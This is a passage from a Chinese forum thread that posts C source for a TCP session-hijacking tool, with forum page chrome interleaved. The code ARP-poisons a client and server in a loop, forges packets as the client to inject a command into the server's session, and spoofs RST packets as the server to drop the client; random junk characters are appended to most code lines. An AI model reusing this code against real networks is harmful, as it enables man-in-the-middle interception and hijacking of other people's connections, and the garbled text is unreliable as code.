    if(pTmp-&gt;bActive) 2 V6 @: q2 C! Q1 E, Y3 P
    {
* j3 w9 h' C$ K. b! ^  Z! v& P      //found it # Q  ]; a0 i/ l4 g; f& P' O/ M+ Z* z
      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp; 4 S* B$ y. }& [- j. {
        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp; 4 U% F( a, l) a3 [7 a0 u" D
        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp;
& ^3 c5 g# B" y+ L6 _; B        (pTmp-&gt;uClientPort == uClientPort) ) 6 b9 N# i) d  Q. A8 w; g
      {
' y% K; L; @4 q% e        if(bDelete) / M8 P* `' C( ~5 d
        { - }) v# ]* k0 T' r! ?  Q$ G
          pTmp-&gt;bActive = FALSE;
1 t$ C6 z1 Z# I  e/ x2 h) m1 u5 h          return 0;   R$ Y3 x$ l. \
        }
9 Y: p# c$ u( o0 _8 m6 w7 Y        else return pTmp-&gt;ident; ! t/ t7 _  s2 t) a! R
      } 4 v+ M( H7 M" L) Q
    } / u& G4 q2 z8 S+ a; o: D
    pTmp = pTmp-&gt;Next; 5 _+ G+ i$ ~! q9 A# D, `
  }
9 n$ h4 g/ y5 W! t$ a! o  //not found, create new node 9 M7 Z! D4 }4 x+ }7 D
  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) ) + p+ U. r1 a  C+ @/ |( x
  { 4 e- ^# \9 }) t6 W( [
    //search unactive note
& M: Y6 o2 T. I" v( [( o    pTmp = g_pConnHead;
# X$ I* z+ {8 H# U8 r    while(pTmp)
- ?/ S; c# ^* ^2 u' O' D* R    {
* I5 x7 R1 U9 n# ]      if(!pTmp-&gt;bActive) break; 5 f6 n3 ~7 X/ }' [: ]
      pTmp = pTmp-&gt;Next;
) Z: }. E, l8 P* q    }
$ b9 c& Q) ?  W4 J! _    //found a unactive node
+ H# t, U* \( I( W    if(pTmp) 0 w7 R% |! P1 x# L  h
    {
& R% G. N0 A/ N9 D6 C  ?# R      pTmp-&gt;dwServerIP = dwServerIP;
$ v) |9 s2 E& W  u& N" w8 t" v8 c      pTmp-&gt;uServerPort = uServerPort;
0 A0 {* J, }$ i2 a8 Y) J      pTmp-&gt;dwClientIP = dwClientIP;
* m, D4 X3 y9 g      pTmp-&gt;uClientPort = uClientPort; 4 i) F: p+ V) J% k% M
      pTmp-&gt;bActive = TRUE; ( S4 c7 R! z7 r0 N( |$ F
      return pTmp-&gt;ident;
) s* M, h, C; J! O0 O# V. C    } * w# @) t; E$ o! X
    //not found,create new node
! e" w- _  i  F6 p% O; ^    pNew = (PCONNINFO)malloc(sizeof(CONNINFO)); - @/ S4 w* c7 Z- h( x$ }9 T
    if(!pNew) 9 F& E2 ~' a6 @+ Q5 V: C
    { 2 I2 k% w, @% b. ^1 q5 P" t
      printf("malloc for link node error:%d\n", GetLastError());
8 L8 A( ]% c* A% z+ ]$ D      return 0;
+ V# M# n: G6 y    }
! R! Y2 i6 v3 F( m0 a* D( g    //fill the struct
/ V2 I- O$ H9 d5 {7 N    pNew-&gt;bActive = TRUE;
& y4 J% I5 j0 K    pNew-&gt;dwServerIP = dwServerIP;
5 L) \1 R. |/ X; |/ }$ Q    pNew-&gt;uServerPort = uServerPort; 2 m) s: O  C+ t6 A% }- S
    pNew-&gt;dwClientIP = dwClientIP; 7 o0 g8 K' D2 _; W0 n( U3 J6 x
    pNew-&gt;uClientPort = uClientPort;
/ h  e! W: T$ V1 ?# |) C    pNew-&gt;ident = ++g_ident; ) [- l2 x' ]8 L( X
    pNew-&gt;Next = NULL; # [& c: y/ R& p+ h7 u
    //add new node to link - ^* T! o! E( ~
    if(!g_pConnHead)
- x3 a6 f& k5 N/ ]      g_pConnHead = g_pConnLast = pNew; * {7 Q8 n$ |+ h& u
    else
" O/ v7 }9 _4 q; Z1 Q, `' x    {
  b3 C* Z! |0 F$ N' Y. o  B. a) o      g_pConnLast-&gt;Next = pNew; 9 ~; }8 ^, F' R0 ^- w# i
      g_pConnLast = pNew; 5 t. B: M- w" Y/ p" T- J
    } 1 w$ ~) T# ^8 g( ^4 y% n5 s% G
    return pNew-&gt;ident; 9 D( ?" d9 Y7 ~3 v) w
  }
. L( r8 l! ^2 w/ X" l. y8 @, A  return 0; 4 n3 m+ d* e# Y8 s
} ( X" A" a8 L! g* `6 {
6 O# ~8 F* s2 i; F
// ' E! e0 W2 R  I) }5 T9 ]* E
//功能:判断一个数据包是不是只有ACK标志
- a- j' k& h3 m1 B" P// ! C5 G8 Z" ?2 e3 c8 p
BOOL IsACKPacket(unsigned char flag)
1 p+ c) h2 W4 P3 l$ K7 O' }{
4 v* n4 Y& M; v4 q0 q8 o, K3 }$ u$ Q( C  int  i, j=1; 7 P7 c+ B" y% f5 ?- J
  for(i=0 ; i&lt;4; i++)
1 L" r0 A6 b5 Z# k& p5 S7 T, {  {
! g( h3 ]' o4 e9 n' ]    if(flag &amp; j) return FALSE; $ v& Q9 g! h, q( J/ M0 [
    j &lt;&lt;= 1;
" w. P0 e4 W- U  }
' q8 j4 n. `) R# S7 _  if(!(flag &amp; 0x10)) return FALSE;//is ack? & _3 i' u; p7 a
  if(flag &amp; 0x20) return FALSE;
8 U4 V1 o; K3 p1 N3 k! @! g0 n# s  return TRUE; 2 _% Z0 F, b5 R% T
} & }3 y* J7 J0 p
0 j: k4 E, J2 @9 }) h+ S! D
// 2 I6 L2 E3 q- C. D( D0 G
//功能:伪装成Client给Server发送数据包 6 h0 Y1 m. E8 w
// & r( B( w7 W" a# y
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
' }6 ]8 c  T5 w  [5 \, N+ \4 Q{ 9 q  |3 e3 P  r2 e

; f# U0 R1 I. ?3 x  char    szBuff[1520]; $ T5 a8 V+ z' J+ z
  PSDHDR    psdhdr; $ y1 ~  J9 w0 m2 \7 R
  PTCPPACKET  pHiJackPacket = NULL;
7 u' n6 c6 a+ V* O0 T+ G; y  BOOL    bRet = FALSE;
0 h# f8 q& R4 Q" }' w5 R+ }3 |; |* Y+ j
  __try
! r8 G" L/ ?: c  { + C6 U3 n& X/ r# c# n, _
    // - P7 S1 j. z. ~  i4 {4 [0 x& C
    if(!g_pCurrCtrlConn) __leave; . Z0 T8 q& T! ]* V8 Q; W' u
    //allocate memory for hijack packet ' i/ X6 y1 v: b' `# u; s6 \8 E' V
    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
( |4 V7 c' X1 e( R$ }% ~8 n9 r* r    if(!pHiJackPacket) 3 I- U7 y3 ~7 W# q
    { 8 ]& x& E, f! S" r/ V. _
      printf("malloc error:%d\n", GetLastError()); ; R7 T3 c( i: t$ c: M0 _5 `. B
      __leave;
4 Y! e+ N+ D5 j/ k/ m    } , @$ M) U8 M+ \/ O) F
    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET)); : I6 `; U: i( j% ]( |* T. p
    //-------------- modify the packet ---------------// & {# S" I( F+ w
    //modify ethernet head ! J$ m- d5 d1 O, w3 |7 e' L
    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6);
+ m5 }' f, [. l, R! Y8 T    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
' E( t2 F: B6 m$ j7 W9 R: K8 f' c    //modify ip head
. ~* ^# L0 k. n% ?7 U, Z3 O. A9 W    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long)); , f, }7 K! q$ \( J. R$ n
    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
" O2 c# h/ i. O    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1
: e# z* C6 z6 ~    pHiJackPacket-&gt;iphdr.checksum = 0; , {. A  ]& u6 S
    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址,伪装成client
( z( O& r) \, M    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址,接收hijack包的地址
  A1 _2 l0 {0 i# y4 ]. _    //modify tcp head
( @+ e# b+ a7 X! e* w% `    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port
* T& d7 d0 H, N! S! o    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port ' g3 O' u" A% H9 ]
    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0); " L9 {" B; x) m) M: T1 u# N3 y* r+ @
    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA $ h0 F$ H4 y& l  e$ ~
    pHiJackPacket-&gt;tcphdr.th_sum = 0; 1 M  w6 `$ x1 e* g/ h
    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44;
2 m7 g' m! i' K$ D    //fill tcp psd head
- P' D: r7 d9 O8 ^6 b4 b, }( l. B3 V% j. n    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           
% g  z! b4 ?/ @  K* f    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           
6 _* B& o) g. Q* x    psdhdr.mbz = 0;
+ r$ q7 l! \  z/ t& Z$ a9 ?4 V  ?    psdhdr.ptcl = IPPROTO_TCP;
( b1 Q) L5 A/ \. G- l) Y  y    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
- F4 ~1 l* n( ?  x& J& n- C2 i    //calculate tcp checksum       f. m  c: M" H
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   6 j  I* l" ~$ w, f: U0 {4 p
    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR));
* g  v3 A; \* W. O$ S    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand)); 6 I3 V0 p$ [2 _1 \- I1 v
    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand)); 9 S7 `) J) E2 k, k4 F, v! n
    //calculate IP checksum
5 J8 A4 X; r+ s4 _    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR)); 1 q' o* ]* A) ^) M; L, }1 r# s
    //fill send buffer           1 h) p  |" F5 x8 @
    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET)); 2 d+ [1 F& H1 H; g. S
    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand)); 6 e! X* ]( g. x  w& ~# }! i
    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4); 2 Q6 y5 E, m5 Q; U! k0 X/ t
    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
4 L4 V; B6 Y) @% |1 K( o    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
  G, d6 W0 n# }9 u    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) ( f* @6 U; t8 X6 Y/ U
    {
4 z! I8 J% \, |6 a      printf("Error sending the hijack packets!\n");
; l* I) e9 M/ |9 J5 }2 q2 T      __leave;
2 E# z4 G; p! L3 I* \1 ~& ^( g    }
% b  o& {# o' T2 s8 F* W( T    else printf("Send hijack packet ok!\n");
9 c9 M( ~& y* s; [  Y  @$ D/ Z    bRet = TRUE; 6 o& D9 ?; ?2 a; S* N2 S. G- o1 b. P
  }
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

__finally 1 d/ n/ {2 J% i, a
  {
$ u2 D2 \2 r' V" p5 I" r% B    if(pHiJackPacket) free(pHiJackPacket); + i# V  ^% F9 T, S# X! J0 Z2 X
  } ! N+ r1 U$ ^) ?9 ?# \
  return bRet; * K! n  ~& P0 N3 p: E; h; F4 E
}
6 W. d' V: u- a) q$ Q7 ~9 K( X1 _9 t  T6 n

* r9 L0 E, g% i& ^4 j) G//
! P) i0 u+ s  }- s; V0 o/ |1 ?//功能:伪装成Server给Client发送rst包
7 n8 m7 Z6 m! d6 A4 L& q& N2 |: Q9 l//
* a! E+ r" p0 [BOOL SendRstPacket(unsigned int seq, unsigned int ack) $ G' O2 b* Q4 n
{
- J/ X; X$ H8 j3 g: f+ O, ^  char    szBuff[60]; 1 X2 ]: a$ X4 d3 n2 U) j3 [4 a
  PSDHDR    psdhdr; & `7 Q+ a$ ^# r; U" ~. u& H9 O; ]" S
  PTCPPACKET  pTcpPacket = NULL; 9 @8 w7 t4 p, n) Z, y
  BOOL    bRet = FALSE; 4 @7 C* n. D4 B

5 G" O' V" q& }* d8 e) @  __try 6 v- k8 T4 y5 l# [9 T
  { & P, Z( a7 ]$ i
    //检查当前指向想控制的连接的信息的指针是否为空 4 C' m; q1 C' c( F" @
    if(!g_pCurrCtrlConn) __leave; 5 T" v/ i  _0 g3 ]# [
    //allocate memory for rst packet
5 D6 u) w/ F+ ]0 ~    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
: q( E! w; @+ \+ ]    if(!pTcpPacket)
6 p* H" r* L7 |% @, x    {
4 ]6 X1 r8 d% P. X: ?% \! Y7 G5 Y& A8 V% ?      printf("malloc error:%d\n", GetLastError()); ; S8 `2 n8 A( _  g
      __leave; . m0 r  S+ e* H5 S7 S( }( p7 m6 o
    } * Y$ V, F8 W6 |
    //fill ethernet head
3 @3 a/ }; @7 z. [0 v    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6); ( W9 C8 B5 i6 P/ F6 O( k. t
    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6); / z' {* W+ @7 H
    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP);
2 `- q5 F6 T: x0 E! p1 K( Z    //fil ip head 1 `8 _3 W: D9 ?9 H
    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long)); # C% f# j, h5 x' [
    pTcpPacket-&gt;iphdr.tos = 0;
+ O& @) m' p- `# B' g    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
" D7 F; Y* o4 F; q% F9 d/ A    pTcpPacket-&gt;iphdr.ident = 1;
' ^0 T6 q9 h5 S. t: C    pTcpPacket-&gt;iphdr.frag_and_flags = 0; 0 w# Q( e) s" q. ~. |, a+ p* k( h! p+ s
    pTcpPacket-&gt;iphdr.ttl = 128; ' i" L. w# c) C2 ?# i( E
    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP;
$ T/ u: |. R4 c" l: E    pTcpPacket-&gt;iphdr.checksum = 0; 9 q5 t# w) c- k  L' O
    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址,伪装成服务器的
' e2 j' ^; t7 U" I9 q9 y    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址 - l& N4 `' b! c0 R7 h/ ^# t6 m" X
    //fill tcp head 7 `" V8 W- |; `& [# L
    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号,伪装成服务器的端口
7 X. E# M3 P' V    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口 5 k. D/ b( E0 e
    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN
/ p0 T/ d, V* \' `8 O9 Y8 J8 b    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK   B) Y. G3 w0 S  Y
    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0); 3 j1 B+ H" N( Q
    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag
3 j1 _6 N% D% r( @' j+ [7 O    pTcpPacket-&gt;tcphdr.th_win = 0;
9 Z- G( j+ y0 |* A  l" C8 \    pTcpPacket-&gt;tcphdr.th_urp = 0; 8 c& Z# Q1 l! H3 a0 k
    pTcpPacket-&gt;tcphdr.th_sum = 0; * q* d8 H+ `2 }
    //fill tcp psd head * e( @* p8 Y+ X2 b, s; c2 d9 L8 R  V
    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           
0 E0 o1 C. ?  S6 _8 U9 ^, Z    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           * I9 J( P8 o$ C6 I7 u6 w) S7 Z2 Z" p* B
    psdhdr.mbz = 0; / T* e& I0 T- I. G- I
    psdhdr.ptcl = IPPROTO_TCP;
: m/ D; @1 F8 F0 v; o4 v    psdhdr.tcpl = htons(sizeof(TCPHDR));
3 e' R* Q3 D+ U! d! {    //calculate tcp checksum     / g; I. O* y% }
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
4 z1 ]) L% B0 m4 B    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR));
- i. ]" h7 W* A3 P5 q    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR)); 1 Y! x  B. t7 S! A! y1 p% ]& I
    //calculate IP checksum 5 z: o1 }; f5 \, U) Q
    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR)); ( q* a) c8 ~3 W+ V
    //fill send buffer
8 j" a. @" l5 v3 `- O7 S    memset(g_lpSendPacket-&gt;Buffer, 0, 1514); - N- f4 ?: r0 H( ~! |
    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET)); ! o& a  k: z* @) v+ e5 C  P0 D( E7 ]
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) ' x9 j! P3 n; v. n( ^9 J
    { * `" k- ?7 s8 G! d1 J, l
      printf("Error sending the rst packets!\n"); , \! a) F0 v) U
      __leave;
* u. I' o2 `: m) B8 S% h& I    }
, s5 J& d6 |5 C  g/ c2 k5 P$ m    else printf("Send RST packet ok!\n");
7 Q. _9 H  \  b8 R+ W  A8 d( K    bRet = TRUE; . C5 E5 m* L, X$ @
  }
& t8 N4 P# {/ [! g% f; }  __finally & W1 L7 Y5 H1 i/ o' P
  { % f2 s! e, m/ k5 q) k( ~
    if(pTcpPacket) free(pTcpPacket);
' y0 M! k9 i4 U' R. F5 M  } * {; a0 x% }8 p" d0 b' G9 ^2 P9 W: T
  return bRet;
" {! Q3 @4 j& z& `( {. R4 ]" J} ) M7 G! M) j& `  p7 ~% H, |

9 k# K% z- [0 s. C1 m# m// 5 m- p% R* w+ }' c" p3 ^
//功能:计算校验和
1 j1 i) ~- ~& X0 S//
. Y9 k6 f5 ?4 Y/ u' L, s, _. C0 DUSHORT checksum(USHORT *buffer, int size)
" m3 a4 F1 `1 m4 t) x1 f* w{ ; D; x7 R9 {9 o  M& c
unsigned long cksum=0;
' Y( U0 v. N- y+ o7 y6 l. Q+ p while(size &gt;1) {
# H# p3 G9 m; h# e; H  cksum+=*buffer++;
7 O/ Z6 p8 Z, V" d$ Q4 p& y# g  size -=sizeof(USHORT);
% |' h: C8 J7 x* u  O% C% Y. r }
1 X$ R+ l- G6 C8 s& D# r if(size ) { % G9 }5 S1 ?4 \& g1 o: R/ n5 S( W
  cksum += *(UCHAR*)buffer; 4 X1 H& k* _- H( p. U  p3 U
}
: O7 p6 z) _4 l3 G cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff); 8 n0 d, W$ i  u3 G
cksum += (cksum &gt;&gt;16);
5 E- ]7 g8 V, A8 M! M# x; W return (USHORT)(~cksum); 0 H  G- z# H" Z" z% z" I
}
) N- Z, K0 h# ~5 }5 S) a8 d  n' a$ a, U9 p$ P* s/ ^/ U% h9 K: t
// 8 e  \5 [3 \% g+ }3 V
//功能:实施ARP欺骗
$ w1 W0 t% `3 p& E//1 告诉ServerSide,ClientSide的mac是ownmac 5 K4 Z) N- _! X: S+ U9 R3 X
//2 告诉ClientSide,ServerSide的mac是ownmac / m' b" Q! D, T* x- X
//
& f1 u5 d% E- B8 EDWORD WINAPI ArpSpoofThread(LPVOID lpType) ( W3 W% Z* v4 A9 F5 x
{
* p- \# ?' N/ [# k# M/ _% ?  int  iType = *(int *)lpType; ) b- t+ _' Z/ @8 I0 }) a: P2 |% ?
  ARPPACKET  ArpPacket; ; y/ a2 y' ^7 u- u
  LPPACKET  lpArpPacket;
% c* L( k8 M' P+ e% Y  char    szArpBuff[60];
1 D$ \- N& a- s9 K& K2 V3 z" \+ b6 E- {
  switch(iType) - u( {0 R) a( n6 o4 M% T
  { ) g. J. z# o% Y
    case 1: 2 @- u  d" L2 c
      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
+ Z, a1 z5 j9 j1 P$ w      ArpPacket.arphdr.DestIP = g_ServerSideIP; 9 [4 n; t6 o, B; X) o
      ArpPacket.arphdr.SourceIP = g_ClientSideIP; $ i3 O' u* o2 l
      break;
# [* m" @! r6 ]4 |8 f4 o    case 2: : J9 g5 L: t/ ?: j2 f7 \
      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6); ! |3 B5 n6 ]' Y2 }! Y' {
      ArpPacket.arphdr.DestIP = g_ClientSideIP;
4 r+ j, L  ]  G* L$ E, o      ArpPacket.arphdr.SourceIP = g_ServerSideIP; , T; L6 s' N0 H; }# i+ q2 l, X
      break;   v8 P; a$ H/ M  u
    default: . O2 @, f# q1 F+ X7 e' q1 @) N8 K, S, z
      return 0;
' l2 Y0 f5 i- j, F  H  } ; m, N* r( m6 j) b" s
  //ethernet head
2 F! h) ]- `5 o8 H  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6); 0 B6 C3 S4 D% R' f% O
  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type
# ]- o" d: K: F+ Q# j/ O6 Y  //arp head ) B( {1 {* x0 F$ I
  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
2 l# [. V' z8 I; Q. b& W0 l  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
( R& Q6 \8 h+ r! q2 P1 |- E  ArpPacket.arphdr.HrdAddrlen = 6; 9 a: d' `3 D8 P- s# o) @3 P4 x! Q
  ArpPacket.arphdr.ProAddrLen = 4; $ g+ s8 ?* P6 t) `8 H) l
  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
# a1 M* O: l' B7 A% R, M' u6 D  ArpPacket.arphdr.ProType = htons(EPT_IP);
& E0 g# J3 I  G" q) b, ?  ArpPacket.arphdr.op = htons(2);//arp reply
! n# I  [9 ?/ x4 C4 T5 \
( x0 h$ X# a; Y  D6 l  b( T7 n- G1 V  lpArpPacket = PacketAllocatePacket(); & W  I% @& v0 e  x- v8 o) {
  if(lpArpPacket == NULL) , \# q+ ~( L( @8 R# e, j5 ^
  {
" Y7 u) g% {3 M3 _- p# D# I    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n"); ) e, D3 Y8 V, N0 U+ C
    return 0; 7 `& E* v0 V2 v  j6 S
  } : m/ d$ n7 i" l
  memset(szArpBuff, 0, sizeof(szArpBuff)); ) S7 r/ w' k! ?& r2 a8 c
  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET));
: F) S2 w) Z9 U4 o) o, X4 C. f  PacketInitPacket(lpArpPacket, szArpBuff, 60);
6 X( w+ N6 }1 i$ R) _0 ]+ y* \  v5 k3 {  //send arp packet ) w6 N; M8 X; B* N* y  q+ H! t
  while(1)
! y  F1 T0 J8 c  {
/ S: T' \; u7 ?    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
( F3 H5 k8 K! y$ y) I  K    { 5 Y  W7 p' T( M( U
      printf("Error sending the arp spoof packets!\n");
9 _+ U( {, ^4 @& N      return 0;
+ o- n1 q& Z( c+ f, e0 L8 S; V    } 0 z0 D! w2 S+ s8 m
    Sleep(1000);
+ a' ]5 L7 P0 |  }
' v4 S% V  p1 K8 m9 c2 {7 m( J2 `  return 0;
1 _' n; I% e$ z}
7 z: j# D5 b0 H8 u/ m
( K, A: `9 F. F* L// & \# V$ I. v! K4 B
//功能:输入IP取得对应的MAC地址
/ r/ Z( t; ?4 g; S1 j" I//
5 U! e2 N- R1 f4 hBOOL GetMACAddr(DWORD DestIP, char *pMAC) " H+ Z( p$ X- T8 J2 z4 P" b. f' m
{ 2 l, V$ E/ z  ~# T9 z
  DWORD  dwRet;
8 X. ?+ h, M3 ?; B  D+ G# D  ULONG  ulLen = 6, pulMac[2]; - m9 J6 E3 {. c# P
  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen); ' `! T0 z! k! C6 @
  if(dwRet == NO_ERROR)
5 o1 r% N, i5 |& I  {
3 \- p5 E% x9 t6 F! k. |    memcpy(pMAC, pulMac, 6);
: {% l) t7 ?3 ^% C* @$ U, H7 u' A    return TRUE;
9 ?8 R& v3 X  X2 U% p$ @  } 4 X4 p7 N/ B! ^5 R( \$ h5 W
  else return FALSE; % ~  Q' P3 ^+ p  d8 ~
}
回复

使用道具 举报

2

主题

15

听众

759

积分

升级  39.75%

  • TA的每日心情
    开心
    2015-8-26 15:55
  • 签到天数: 39 天

    [LV.5]常住居民I

    群组学术交流B

    群组2014数学建模国赛备战

    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册地址

    qq
    收缩
    • 电话咨询

    • 04714969085
    fastpost

    关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

    手机版|Archiver| |繁體中文 手机客户端  

    蒙公网安备 15010502000194号

    Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

    GMT+8, 2026-6-12 19:50 , Processed in 0.606128 second(s), 90 queries .

    回顶部